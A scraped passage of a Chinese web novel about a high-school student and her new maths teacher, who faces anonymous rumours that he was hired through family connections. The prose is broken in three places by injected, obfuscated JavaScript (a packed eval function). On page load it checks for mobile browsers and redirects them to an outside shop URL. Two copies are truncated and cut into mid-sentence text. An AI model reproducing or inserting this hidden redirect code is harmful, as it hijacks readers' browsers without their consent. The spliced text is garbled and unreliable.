见到不算相熟的学生,秦暮野微微一愣,浅笑致意:“你好。” 两个人显然没什么话说,为了避免尴尬,赵栩轻轻点头,小声道了句“老师再见”,就快步向教学楼走去, 秦暮野则在她身后几米外缓缓走着,彼此好像不认识般,互不打扰。 初春的微风温暖不足,清寒有余,如同一只纤弱的手掰动掌管雨雾的调节阀,刹那间,天空便下起了毛毛雨。 秦暮野打开手中的黑伞,把整个人罩进了一方阴影,与世隔绝。 今日的他身着长款的黑色风衣,内衬白色衬衣,显得整个人气场冷清。 赵栩感受到了空气中凉丝丝的,为着从校门口到教学楼的距离不算太远,雨又不算太大,她亦懒得找伞,索性加快脚步。 秦暮野迟疑稍许,便将倾斜了几十度的伞即刻举正,毫不犹豫地朝教学楼的另一个入口走去。 他踩着一丝不苟的步伐,脚步却无形之中加重了些,企图踏碎于微末处的异念。 管好他自己。 原本宁静的水面,波纹荡了几个来回,揉碎了倒映的人影。 …… 赵栩从外面携来了一身雨意,进班后,她连忙脱下外套,找出花名册准备查作业。 她才从桌洞里取出花名册,忽觉周身一冷。 再抬头时,身旁已经围上了一圈人,几名同学正目光灼灼地盯着她,那只持笔的手,不禁停在了半空中。 “怎么了?”赵栩看向身旁的韩明月,不明所以。 韩明月狡黠地眨眨眼,眼中闪过犹豫之色,“栩栩……你数学作业写完了吗?” 提到数学作业,赵栩扯唇笑了笑,按了按太阳穴,“勉强写完了。” 这番话更加坚定了几名同学的底气,以韩明月为代表,和另一个女生一左一右挽上她的胳膊,晃了晃,开始撒娇: “栩栩宝宝,给咱安排一下吧~数学作业太多,实在是写不完了。” 赵栩面露难色,沉吟稍许,才要婉拒,便对上那几双亮晶晶的眼睛,拒绝的话再难说出口。 “好……好吧。” 虽然这次不交作业的人数多了点,但作为学科课代表,帮同学打掩护也是工作的一环。 早自习结束后,第一节课就是数学,赵栩还没来得及把作业送去办公室,数学老师就出现在了班级门口。 “当堂做讲义里第三张附卷的第七题,十分钟之后讲。”他翻开讲义,淡声说道。 视线扫过一周,有种说不出的威慑力,班里立刻安静下来,同学们纷纷找出讲义开始做题。 “韩明月,徐仲仪,你们上来写。”秦暮野返身回去擦黑板,随后取出两根粉笔。 底下的韩明月暗暗叫苦,很是磨蹭了一会儿,然后在老师的注视下,带着卷子慢慢走上讲台。 因为没有答案支撑,她心虚得不行,题也不太会做,只能用最慢的速度,先把掌握的三步龟速写出,然后作沉思状,难以下笔。 半斤不会,旁边的八两也没好到哪去,徐仲仪写了五步之后,就写不下去了,借助长得高的优势,抻着脑袋向右边看,以口型示意: “会不会?” 韩明月先确认了一眼老师的方向,见他正在给学生讲题,稍稍放心,然后一摊手。 “你看我像会的样子吗?” 讲台下的赵栩很快就写完了,抬头看向讲台,发现韩明月正惨兮兮地在黑板上画圈圈,而对方像是感受到了她的目光,猛地转过身来。 韩明月先指了指黑板,然后眨了眨无辜的大眼睛,做了一个拜托的手势。 赵栩回以“OK”,心领神会,找出一张便利贴,飞速把步骤抄了一遍,团成纸条,打算扔到讲台上去。 她才一抬手,老师正好走到了第一排附近,吓得她赶紧缩回手。 秦暮野注意到在黑板上做题的两人,就写了短短几行,刚要开口询问,第一排有学生举手问题。 于是他收回视线,俯下身去替学生讲解。 赵栩见敌情解除,蠢蠢欲动的手再度升起,她和韩明月两人相视一眼,扬起手将纸团投出。 因为坐在第三排,不算近也不算远,所以她用的力气略微大了一些,纸团升到了两米高的位置,在空中划过一道弧线,眼看就要到达讲台…… 此时,秦暮野为学生指出一点小错后,便打算接着巡视。 谁料刚一抬头,就被纸团击中眉心。 纸团袭来得突然,他下意识闭上眼睛,再睁开眼时,在全班看好戏般的注视之下,若无其事地捡起滚落在脚边的纸团,查看里面的内容。 整个人极其淡定,连眉头都没有皱一下。 始作俑者赵栩惊得一时说不出话,尴尬到手脚都不知道该往哪里放,耳朵刹那间变得通红。 身边几个知情者忍俊不禁,其中一人不由得揶揄:“你真厉害。” “保持安静。”秦暮野出言维持班里的秩序,言语中毫无波澜,隐隐的骚动逐渐平息下来。 他把纸条收了起来,然后走上讲台,见两个学生做题没什么进展,有些无奈:“听我讲完之后,把题目在纸上再写一遍,晚修之前交给我。” 韩明月在讲台上一直憋着笑,下来之后终于破了防,拍了拍呆若木鸡的同桌: “赵栩十八岁时无意间打出的那发子弹,三秒后击中了二十五岁的秦老师!” 赵栩转过头来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她道歉的时候,连带着绑起的高马尾偏到一旁,看起来委屈极了。 “我知道,只是没想到打得还挺准。”秦暮野有些无奈,眼里的笑意一现而过。 鉴于大家都比较有学习的自觉性,高二的走廊里并不吵闹,隐隐中放大了对方说话的声音。 清冷又沉稳的声音,与她记忆中的脑电波同了频。 赵栩望向那双桃花眼,扑闪的长睫毛下,恍如蝴蝶振翅的风。 奇特的缘分,不见得会引起德克萨斯州的一场龙卷风。那阵风却从开端,就难以将往事掩埋。 她不免有些许遗憾: 老师真的是一个不错的人, 只可惜他们不能当朋友了。 下一节是政治课,赵栩回班之后,才翻开相应的页数准备复习,耳边便传来三三两两的议论声: “真的假的?” “你没看昨天表白墙吗?都传遍了!” “秦老师是关系户来的?不能吧!” 5. 向阳处的她(2) [如果开始是谎言,结局是虚无,我们一起看过的海,算不算真实?——评《向阳处的她》] 一场风雨过后,悬于天空的面纱,陡然揭开,展露出初春的生机盎然。 今天来学校的车上,赵栩才注意到,主页八百年没有动静的秦暮野,居然给她点赞了。 “栩栩。”赵梧楠见女儿正在看手机,想要弥补那晚没有去接女儿的愧疚,故而开始找话题: “你们班是不是来了个新数学老师,他多大了?” 赵栩刚吸上去的豆浆有些烫嘴,烫得她清醒了几分,深吸一口气后回答: “二十五六吧。” 赵梧楠开车目视前方,接着说:“我也是听我秘书说的,他的父亲好像是……” 她说了一个人名,又说了一个官职,赵栩反应了片刻,想起似乎在前些日子的新闻里看到过这个名字,惊讶地捂住嘴巴,心想有这么厉害的父亲,做儿子难道不该被“安排”到更有前途的地方吗? 还是顶尖学校毕业,在公办拿这点工资有点屈才了。 交谈间,那辆显眼冰莓粉保时捷就开到了四中周围。 赵栩和妈妈道别后,即将走入校门时,又看到了前方不远处的数学老师。 昨天他还走在她后面,今天就跑到了她的前面。 想到昨天听到的某些对他不利的言论,赵栩生性感性,忍不住替他唏嘘。 隐有苗头的流言,在一天后愈演愈烈。 赵栩才走进班里,就清晰地捕捉到“秦老师”三个字,还是有关昨天的话题,依稀听到有一小撮人在讨论。 满心学习的她,不满于他们非要用早读时间讨论八卦,于是皱着眉头向后瞥了一眼。 可是眼神的威慑终究有限,后面的同学根本没注意到,仍是自顾自交谈着。 韩明月把课本怼到脸上,只留出一双眼睛闪着八卦之光,缓缓把头靠向同桌。 “栩栩,你相信吗?” “这是谁传出来的?”赵栩放下课本,认真地问。 原来,就在前几天,有人在表白墙匿名投稿,大致内容是,新入职的数学老师秦暮野背景不俗,在一路绿灯的保护下,才以非定向师范生的身份成为新入职的数学老师。 听完大体经过后,赵栩忍不住吐槽: “好恶毒。” “话说在背后匿名搞小动作的人才不配为人师吧。” 投稿表白墙看似挺幼稚的,实则能以最快的速度在学生之间传播。流言猛于虎,就算秦暮野是通过正常流程录取的,“关系户”的烙印也会永远打在他的身上。 加之,秦暮野确实不是普通家世,投稿人利用了人们厌恶特权的心理,先让众人为他加了一副有色眼镜。 真假已经不重要了,因为他的出身,就已经站在了大多数人的对立面。 韩明月见同桌陷入沉思,又问了一遍那个问题: “栩栩,你相信吗?” 赵栩还没来得及回答,一个与班主任身材不相符的高大的身影立在门口,其人低沉的嗓音猝不及防响起: “今天祁老师有点事,我来看大家的早读。” 说完,秦暮野把数学讲义放在课桌上,而后走下讲台,在学生之间巡视。 沉迷八卦的学生,看到正主来了,立刻闭上嘴,拿出课本开始早读。 赵栩和韩明月相视一眼,开始各学各的。 “改革的意义是……” 赵栩嘴在动,脑中则在复盘流言的可信性: 一个清华大学数学专业毕业的研究生,只要不是辱骂面试官,怎么也能顺利入职吧?何苦走关系呢? 再者,一个任职高官的父亲,如果非要找关系,为什么不给儿子一个更高的平台,而是干高中老师这种出力不讨好的活。 结合秦暮野正直的气场,以及在网络上的谈吐…… 直接告诉她,他不会。 “书拿反了。” 听到老师的声音,赵栩吓得手一抖,再看向面前的课本…… 是正的。 她松了一口气,再扭头瞥向韩明月的历史书…… 可不是倒立的。 书拿反了不要紧,好笑的是韩明月眼神呆滞且认真,好似真的在背书。 见她这副滑稽的反差感,赵栩忍不住笑了。 此时的韩明月,其实在低头划手机看消息,见到老师走近,才慌忙把书立起来。 “你戴的是放大镜吗?”赵栩点了点同桌的眼镜,从放大镜的成像原理出发,给她递了个相当于没有的台阶。 秦暮野停在了原地,站在视野开阔的位置,熟悉班级内的布置。 尤其他正站在朝阳里,一双桃花眼里拂过朗月清风。阳光徐徐漫入教室,打在他的身上。 赵栩把课本贴在下半张脸,深吸了一口空气中轻微的薄荷香,视线亦向上偏移,注意力不禁被那人由内而外的干净气质所暂留。 许是那件白色衬衫正好置于阳光下,两个女孩都注意到了他脖颈间隐约的青紫色,疑惑间,不由得交换了个眼神。 随后,秦暮野并未多作停留,继续踱步远去。 赵栩拧起眉头,不免有些心惊。 那个伤痕,真是看着就疼。 韩明月按住八卦的心,又把课本贴在了下半张脸,更是企图遮掩粉得有些不自然的脸颊。 她迟疑了几秒,还是把头凑了过去,压低声音: “栩栩啊,你说咱老师锁骨的痕迹,是不是……” 赵栩听完她的话,又羞又急,直接脱口而出: “你闭嘴!!” 此话一出,班里陷入了突如其来的寂静。原本忙于读书的各位同学,纷纷停下,疑惑地向赵栩那边看去。 秦暮野停下脚步,扭头望向身后,微微偏头,眼里流露出不解。 如果尴尬有声音,那么彼时的赵栩一定倍感震耳欲聋。 她瞪了一眼让自己出丑的显眼包同桌,用尽毕生的镇定,若无其事翻着课本,只盼着在地球的年岁能悄悄过去。 只是一个小插曲,同学们未曾放在心上,就接着各学各的了。 坐在班级后排的徐仲仪,托着腮痴痴地笑着,锐利的眼眸微挑,弱化了混不吝的气质。 “徐哥,徐哥。”关毅见他不知道在傻乐什么,又看到逐步靠近的老师,想要赶紧把他喊回来。 徐仲仪嘿嘿默笑了两声,便对上老师欲言又止的神情,笑容停在嘴角,即刻低下头开始念书。 …… 上午最后一节课,数学办公室里只有秦暮野一人,他正在备课的空档,突然接到了表妹的电话,只得暂时从参考资料分出神来。 电话那边的表妹寒暄几句后,便直奔主题:“表哥,我听说姨夫明天下午去墓园,他不和咱们一块儿上午去吗?” 秦暮野神情平静,不为所动,“他能百忙之中抽空去看我妈,已经很难得了,不管是下午还是凌晨,都好。” 电话那头的表妹想到姨夫周陵那张不怒自威的脸,不禁打了个寒战,“哥,听说你被他打了,严重吗?” 还没等秦暮野回答,她难掩担忧:“你都二十好几的人了,就直博转硕这么点小事,他都嫌你丢人?真是超雄老爸了。” 说起来,他挨打的理由是父亲翻旧账翻出来。 秦暮野当年上学取得了直博资格,但最终还是做出了转硕的决定,也为本就紧张的父子关系埋下了一颗定时炸弹。 前些日子两人因为小事起了争端,周陵又旧事重提,越说越激动,就动了手。 闻言,秦暮野眉目中掠过一丝笑意,“超雄有一定概率遗传,他是超雄,那我成什么了?” 表妹尬声笑笑,转而问:“表哥,你都牡丹那么多年了,明年带个女朋友去呗,让姨妈看见高兴高兴,你难道要每年去给她讲数学题吗?” 秦暮野并不搭腔,转而道:“后天上午八点,墓园停车场C口见。” 表妹如何不知,她这位表哥讲起话来,有种浑然天成“把话说死”的美。 她又何尝不知,他是在逃避。 电话两端空了半晌,秦暮野静待对方发话,而表妹思前想后,最终还是艰难说出: “表哥,都过去这么久了,你也别和和自己过不去……” 秦暮野微微晃神,待反应过来时心中钝痛,却罕见说起了玩笑:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641014|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那你还刻意提醒我?你不说我都要忘了。” “……” 体育课对于高中学生来说,或许只是换了个地方上自习,而赵栩则喜欢用体育课的时间,奔走于各个办公室问题。 赵栩手捧数学卷子,刚站定在办公室,就听到了里面打电话的声音。 当然,她不是刻意偷听的,只是通向办公室的窗半开着,让她不得不听见。 她听不到电话那头的声音,却能通过秦暮野的只言片语判断出: 他明天要去墓地看望母亲。 想到这里,赵栩心里不免酸酸的,近乎同情的情绪涌上心头。 不过她没忘了正事,伤感之余,便调整好状态,抬手轻敲了几下门。 “请进。”放下手机后,秦暮野眼里的伤情未多做停留,向门口的赵栩点点头,随即把书本收起来,腾出讲题的地方。 赵栩走上前去,环视之间,注意到了秦暮野架子上的书。 离散数学、泛函分析、解析几何等书之中,几本钢琴曲谱显得格格不入。 秦暮野端起水杯,同时顺着她的目光看向书架,并未多做催促。 随后移开视线平视前方,短暂地放空自我。 赵栩意识到盯着别人的东西看可能有点失礼,赶紧翻开自己那一厚沓试卷,直奔主题: “老师,请问为什么不能这么求正弦值?非要按照参考答案上来吗?” 秦暮野接过卷子,扫了一眼,说:“这样也可以,就是求解起来会稍微麻烦。” 通过卷子的厚度,他初步判断出,赵栩的复习进度远超学校进程。 但这个做题的方式,好像并不灵活。 赵栩疑惑地眨眨眼,明明有很多问题想问,但不知道从哪一桩问起。 秦暮野看穿了她的疑虑,抽出一张草稿纸,耐心地讲解:“在立体几何中求解正弦余弦值,大致有以下几种情况……” “异面直线所成角,二面角……” 他并不局限于讲一道题,而是分条缕析列出了几种情况,将其放在一起比较,并逐个举例。 赵栩翻着手里的卷子,将题目对应,脑中缠结的丝线,突然慢慢得以解开。 “谢谢老师!” 见学生应该是明白了,秦暮野停顿片刻,按下圆珠笔,以迂回的方式表达了自己的想法: “赵栩,我认为你现阶段不应该大量做题。” 听到这话,赵栩不由得面露失落。 难道是老师觉得她的基础太弱? “你别误会。”秦暮野为了让自己看起来不那么严肃,罕见地笑了笑,“我知道你想提高数学成绩,而数学需要做题来巩固的,这个出发点没错。” “但巩固的前提是,基础要牢固,不能贪多。” “讲义前面的知识梳理其实是有用的,它会把解题思路分情况讨论,你可以试着从那里入手。” 赵栩轻轻点了点头,“谢谢老师。” 交谈间,夹在卷子里的一张淡黄便利贴掉落,她径直蹲下身子去捡,袖子却因蹲下的动作而向上扯了扯,露出三条红线般的伤痕。 桃红色的抓痕分外明显,秦暮野并不近视,视线在女孩的手臂上,眸中闪过诧异之色。 那个长度和力道肯定不是猫抓的,倒像是人抓的。 秦暮野装作没有看到,转过身去,又重新翻开辅导材料,不动声色。 他在入职前,曾有前辈委婉地告诫他,不要对学生表现出过分的关心,以免给自己招惹不必要的麻烦。 当时他觉得,这样会不会太冷血? 可现在他想明白了,他只是一个任课老师,不应该去过问太多学习之外的事。 赵栩满心都是数学题,并不知道胳膊上的抓痕被看到了,而是揣着那张写有立体几何解题思路的草稿纸,如获至宝。 走出办公室不远,不远处传来议论声,当她听清了话题的中心,下意识放缓脚步。 其中一人冷哼一声,出言嘲讽:“才入职几天啊就请假,我等打工人大概是无法理解这种天龙人。” 另一个人阴阳怪气道:“你有个当……的爸也可以请假,随便请。” 6. 向阳处的她(3) 两人的语气之阴阳,就差指名道姓了。 赵栩停下脚步,莫名不忿: 请个假而已,这就说上坏话了? 谁还没个三病两痛,家里有事的时候,这也能成为被骂的理由? 两位老师走到拐角处,便对上女孩审视的目光,其中一人不以为意,接着说:“他不是在公示期就被举报过吗,学校把他给保下来了,啧啧。” 赵栩听着他们没有因果逻辑,酸里酸气的话,愈发火大。 她颇为不忿,扭头看向两人,大声为其辩驳:“所以呢,被举报就一定是做错了吗?” “谁质疑谁举证,你们说他有问题,倒是找出实打实的证据啊!” 两人不约而同,转过身来,满脸惊诧,不敢相信他们居然被学生当街教育。 赵栩头一次和老师用这么不礼貌的方式说话,但这次她认为自己没有错,亦不想与之多加争论,冷冷睨了他们一眼后,扬长而去。 敬人者人恒敬之,都在背后说这么难听的话了,赵栩暂时不想尊重他们。 她垂头看向卷子夹里那张讲解知识点的草稿纸,瞧着纸上秀逸端方的字迹,她的心绪陡然沉静下来,突发奇想: 我为什么要替他说话? 难道是被知识收买了吗? …… *几!天!后! 周五的中午,三人组像往常一样去嗦粉。 这个点食堂的人并不多,韩明月端回一碗土豆粉,却发现赵栩和朱临清已经就位,不禁被赵栩碗里厚重的辣椒油吸引,抻头去看。 “酸辣粉里还加辣椒,栩栩你是真能吃辣。” 赵栩刚喝了一口汤,又咬了口泡椒凤爪,说:“这是有点辣。” 朱临清夹了一筷子土豆粉,又想起什么,放下筷子,注视着对面的韩明月,“你要和我们说什么,这么郑重其事?” “咳咳。”韩明月亮出手机,却不准备给她们看,故弄玄虚地说:“我找到了,秦老师不是关系户的证据。” 朱临清和赵栩对视一眼,一脸洗耳恭听的表情。 “先看这个。”韩明月打开了沪上中学的网页,把手机摆到桌子中间,用手点了点帖子发布的时间: 2009年x月x日,沪上中学发布。 对桌的两人滑动手机,大致浏览了一番,从最初无所谓的心态,到后面眼睛越瞪越大。 “国际奥林匹克数学竞赛金牌获得者!”饶是像朱临清好奇心不太强烈的人,看到这么风光的履历也不免惊讶,只得感叹: “别人的高二,真是精彩。” 韩明月很是赞同地点点头,同时眨了眨那双杏眼,“有没有看出点什么门道?” 赵栩双目微垂,做沉思状,然后道:“有这么一个奖项,就能保他在数学这条路上荣华富贵,他根本没有必要走关系。” “nonono!”韩明月挑挑眉毛,把手机屏幕往上划了划,满眼放光,“你们看,他高中的时候长得好乖啊!” 十年前相机的相素比较久远,拍出来的人总有一种说不出的朴实,可秦暮野的皮肤状态白净细腻,自成一个画质。 照片里的秦暮野,身姿高挑,远超合照的人一头。气场爽朗温润之余,眉目间亦有着抹不去的少年意气,五官轮廓已尽显英俊的冷感。 但是,明明是颁奖的场合,在他的眼里却看不见笑意。 也许是他心智成熟,习惯把自己隐藏得很好,赵栩想。 韩明月也发现了这点,双手托着脸,忽然笑不出来了,“我怎么觉得,他好像不太开心啊。” “得了吧。”朱临清微挑眉头,“你个数学考不到一百分的,还心疼起了奥赛金牌得主,别费那心思了。” 韩明月轻声叹气,不由得惋惜:“秦老师真是高处不胜寒,没人珍惜他这个数学人才也就罢了,还一直被人造谣。”然后,她把筷子猛地捣入碗里,“要我是他,一定让造我谣的人公开道歉。” 说到这里,她意识到了什么,转而道:“栩栩,秦老师今天上午怎么没来?” “啊?”赵栩被唤回神思,目光游移了片刻,随口扯谎:“去医院看病了。” 就算是和亲近的朋友,也不能随便透露秦暮野的家庭状况。 “哦。”韩明月继续追问:“那他下午会来吗?” “这……” 还没等有人回答,沉迷吃饭的朱临清忽地抬起头来,盯着韩明月,被她的聒噪气笑了。 “你学其他六门课要这么勤学好问,早就考七百分以上了。” 韩明月撇了撇嘴,故作夸张地说:“要是每个老师都像秦老师这么帅,我早考上清华了!!” “神经病。” 朱临清对此锐评。 两个朋友还在插科打诨,而赵栩用筷子伴着碗里的粉条,不由得想起同事对数学老师的奚落之语,越想越气,更为之感到不平。 然后怒吃一口粉,红油差点溅到身上。 …… 三个女孩向班级走去,才靠近走廊,班里便传出了不同于以往的吵闹声。 几人收住脚步,凝神屏息,只听得班里同学的交谈,仍是围绕着秦暮野的入职正当性问题。 表白墙上刚刚发布了新的匿名投稿,暗指秦暮野被取消直博资格,背后另有原因,甚至隐隐导到学术不端的方向。 明眼人都看得出来,这番话术漏洞百出,可用来诓骗对于学位制度不够了解的高中生,却是绰绰有余。 “那个人该有多恨秦老师,连污蔑他学术不端这种话都能说得出?”赵栩正义感漫上心头,听到这话尤为愤慨,不禁握住了拳头。 此时的秦暮野可能在墓园对着亡故的亲人,而在他看不见的地方,却有人对他怀着难以估量的恶意,恨不得将他踩进泥沼……而就连他的学生,也把这件事当做谈资。 想到这里,赵栩本来就感性,现下心里更不是滋味,仿佛相隔甚远,都能感受到那人的无助。 这般受人指摘的无助,仿佛易地而处,摇身一变,变成了昔日的她。 女孩那双清亮的眸子,再次被岁月的阴云所罩,闷得她心里堵堵的,故而分外能共情这种滋味。 这下好了,赵栩本来对这件事没多么上心,在匿名举报者不依不饶的纠缠之下,也有那么点怜爱遭受无妄之灾的秦暮野了。 这场闹剧,究竟什么时候是个头?! “他们有毛病吧……唉!”韩明月抱了句不平,刚想扭头找朋友商量,却眼见赵栩气势汹汹地迈着步子,大有和他们一决高下的势头。 赵栩径直走上讲台,目光锁定那几个说闲话的,提高声音: “你们没有辨别是非的能力吗?别人说什么都听?” 这时,正论得热火朝天的几人,论调慢慢平静下来,面面相窥。 其中的一个男生,为着自己喜欢的女生对秦暮野表现出过分的赞美,早就对其不满已久,于是上前一步,不屑道: “他就是一路亮绿灯来的,板上钉钉的事,赵栩你是要为他抱不平吗?” 赵栩拿过粉板擦,在讲台上不轻不重磕了两下,哂笑一声,“钉什么钉,钉你脑门上了?” “虽然关系户并不罕见,你们也不能仅凭只言片语就给他定罪!” “你们现在所谓的证据,不过是匿名投稿,真的假的一概不知。如果你这么轻易就相信,以后你老了就卖给你保健品!” 韩明月看得目瞪口呆,张了张嘴,低声和旁边的朱临清竖起了大拇指,“行啊,以前没觉得栩栩吵架这么厉害。” 班里的同学本就呈观望状态,反向的声音一吹,不免有人附和赵栩:“就是就是,什么时候小作文就能给人定罪了。” 被指责的男生面上有点挂不住,涨红了脸,想不出辩驳的话。 过了稍许,他冷哼一声,瞪着讲台上的女生,“你……你这么替他说话,是不是……” 男生略带轻浮的尾音上扬,虽然话没说完,可其中的意味不言而喻。 此言既出,班里一道道看好戏的眼光,像聚光灯般,齐聚在讲台上的赵栩。 炮火突然被引到了自己身上,面对这样一番嘈多无口的诽谤,赵栩怒极反笑,火气止不住地往上烧,烤得脸庞微微发烫。 荒谬,实在太荒谬了。 赵栩深吸一口气,大声辩驳: “你真是……愚蠢的性缘……” 话还没说完,一个高挑的身影,挡在了她的面前。 “脑……” 见到论战的当事人突然出现,赵栩缓缓吐出最后一个字,不知所措。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641015|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦暮野今天穿了一件浅灰色的长款开衫,内搭白色高领毛衣,休闲之余有些超然物外。 加之一双桃花眼无悲无喜,仿佛被造谣的人并不是他。 “怎么不说了?” 他的语气平和,好似在讲数学题般稀松平常,却如冬雪限时而归,冻得在场之人不敢吭声。 在赵栩刚站上讲台的那刻,秦暮野就走到了二班附近,本想着给课代表布置今天的作业,谁想到直直撞上这么一出。 对于这些捕风捉影的事情,他并不屑于在那些不体面的人身上浪费时间,想着私下处理,等风声过去也就算了。 起初他真是这么想的,直到…… 彼时的秦暮野不必回头,都能感受到身后女孩的困窘之情。 “为了我以后能正常开展教学工作,上午出去,顺便借助法律的手段处理了这件事。” 秦暮野缓缓踱步,却不自觉沉下目光,不慌不忙道:“如果你们宁愿相信所有人为我保驾护航,只为了一个高中老师的工作岗位……” 说来这里,他摇摇头,无奈浅笑,“那我无话可说。” “你们也接近于成年了,凡事都要有自己的思考,而不是被别人带着走。” 真就是防君子不防小人,面对匿名者这般低劣的攻讦,素来正大光明的他,却也不知该如何应对。 但他向来无愧于心,该说的都说了,就到此为止吧。 挑事的男生面露紧张,咬着嘴唇,嗫嚅道:“对不起老师。” 秦暮野看出他所想,微微笑道:“不用害怕,老师是不会记恨学生的。何况你们年纪还小,一时不辩是非受人蒙蔽也是有的。不过……”他眯起眼睛,侧开身子,“你应该给赵栩道歉。” “你刚才的话冒犯到她了。” 赵栩原本垂着脑袋,闻言抬起头来,许是午饭的辣椒后期太大,辣得她有些迟钝,不禁让她认真回想: 是哪一句啊? 不过片刻,她恍然意识到: 是不是暗示自己心思不纯的那句。 见学生们都没反应过来,秦暮野不动声色,和那名男生,同时也是在场的同学解释:“你未经思考的话或许没有什么恶意,可这样的谣言一旦传开,会给她造成困扰的。” 许是男生的错觉,他觉得此刻的秦老师眸中森然,盯得他皮肤生寒,令其愈加不敢抬头。 为了赶紧送走这位只制冷风的空调,男生冲赵栩深深鞠了一躬: “对不起。” 怕道歉道得不够到位,又补充道:“对不起,我不该说你对秦老师有意思。” “没事没事。”赵栩脸上敷上一层假笑,实则握紧了手中的板擦,暗自吐槽: 倒也不用加这一句。 事情应该得到了妥善的解决,秦暮野也没忘记此行来二班的目的,阔步走上讲台,在转身的瞬间,神情蓦地放缓。 “这是你们班今天的作业。”为着身高的差距,他只能低下头,把便利贴递给赵栩,余光却映入了女孩手指上的点点血色。 可能是刚才在众人面前据理力争时,有些着急,把手指抠破了。 他垂下双眸,眼里同时划过不易察觉的涟漪,突然有了新的主意。 思及此处,秦暮野并未多说,便匆匆离去。 之所以离开得匆忙,他是为了去给表妹打电话。 刚接通电话,那头的表妹难掩惊讶:“哥,稀客啊!你还能主动给我打电话,是不是为了问律师的事?” “我都帮你打听清楚了,如果你们要和解,他只需要……” 秦暮野面如冰霜,打断道:“不和解,直接走法律程序,该公开道歉就道歉,该留案底留案底,知道的人越多越好。” “哈?”表妹愣住了,停顿片刻才开口:“上午你不是还说要和解,怎么又变卦了?” 一开始,秦暮野觉得举报之人情绪不太稳定,怕对方行为极端,报复社会,大事化小给他个教训便是。 可是…… 秦暮野的眼前突然浮现出,那人被当众为难,却依然倔强的表情。 就这么撕下手指上的皮,一定很着急吧。 周围的气压骤降,秦暮野神情冷峻,又重复一遍: “让他得到最大的惩罚,麻烦你了。” 7. 刺猬的优雅(1) 开学不久之后便迎来月考,因为离高考还有一年半,所以多数同学对于一次算不上正式的月考,大多抱着“无所谓,下次一定”的心态。 但赵栩能看得出来,比起学生,其实更在意月考成绩的人的是秦暮野。 自月考前一个多周,她就很明显地感觉出,数学作业较以往多了不少。 虽然平时数学作业也挺多。 上午第一节课是数学,下了早读后,赵栩便捧着数学卷子,起身往数学办公室走。 走廊里的同学,有不少在讨论月考成绩,这让她的心陡然悬高。 赵栩选的是政史地,她对自己的文科成绩不能说十分自信吧,至少可以说百无一失,月考结束后她对了下答案,除了数学,都算正常发挥。 开了一路小差,她行至拐角处时,听到年级主任正在和秦暮野谈话,于是赶紧收回脚步。 大致意思,就是年级主任委婉告诉秦老师,本次月考中,二班数学成绩不升反退的事实。 “小秦你也别气馁,乍换了任课老师,学生不适应也是有的,你需要和学生多磨合磨合,听听学生的想法。”年级主任想拍拍他的肩,却发现人长的太高,只能转而拍他的手臂。 看到气势对比悬殊的两人,赵栩忍不住低声笑了。 两相对比下,一时竟然分辨不出谁才是领导。 年级主任走远后,赵栩正正神色,刚打算走上前去,却撞上了秦暮野的视线,笑容立刻消失在脸上。 “老师好。”赵栩站定问好,同时注意到他手里除了课本,还有一张刚打出来的成绩单,于是自欺欺人地别过眼去,笑得更为勉强,“我帮您拿吧。” 秦暮野不动神色后退一步,“不用了。”语气顿了顿,接着说:“以后上课之前不用再来办公室跑一趟,除了几本书,也没什么要拿的。” 虽然上课之前课代表到办公室找老师是惯例,但这个规则对于秦暮野这种行事简洁的人来说,好似并不适用。 “好的老师。”赵栩对这个安排还算满意,心想他倒是省事儿,这样能让她课间还能在班里多学一会儿,不用从三楼下来。 “把卷子给我吧。”秦暮野从赵栩手里接过,简单翻了翻,便发现异样,停顿片刻,说:“是不是少了几张?” 他又将卷子的边页对准自己,扫视一眼,大致有数:“少了大概……八张?” 作业缺斤少两的事情已经不是第一次了,他一直隐忍不发,就是想给学生个机会,没想到他们没有领会到自己的意思,并无改正之意。 秦暮野稍稍抬眼,便看到女孩心虚不已的样子,只得欲言又止。 听到这个精准的数字,赵栩眉间一跳,竭力维持着不失礼貌的微笑,心里却慌得不行。 看来真的不能和数学天才玩小把戏。 当然,秦暮野没有为难的意思,有商有量地说:“下次不要这样了,这会助长不写作业的风气。” “嗯嗯。”赵栩满心地答应,实则忍不住想: 要不是你布置的作业太多太难,谁会不交作业? 她肯定是不敢当面和老师提这话的,只期盼赶紧把这页翻过去。 从办公室走到班级,两人除了最初的几句,接下来一路无言,赵栩不太适应和男老师并排行走,加之犯了点小错误,故而有意加快脚步。 秦暮野察觉到了她的不自在,则是放慢脚步。 清晨的阳光算不得浓烈,却如同滴入清水的颜料,在教学楼里晕染开来,加深了一前一后两个影子。 赵栩对月考数学大致心里有数,要争分夺秒回班学习,故而步伐迈得更快,却在步入拐弯处时,撞上了一个人的肩膀。 “对不起。”她小声致歉,却闻到一股厚重的冷香,似是滋生于不见天日的角落,让她警惕心大起。 与那种清爽的冷调大相径庭,来人身上的气息,只让人想远离。 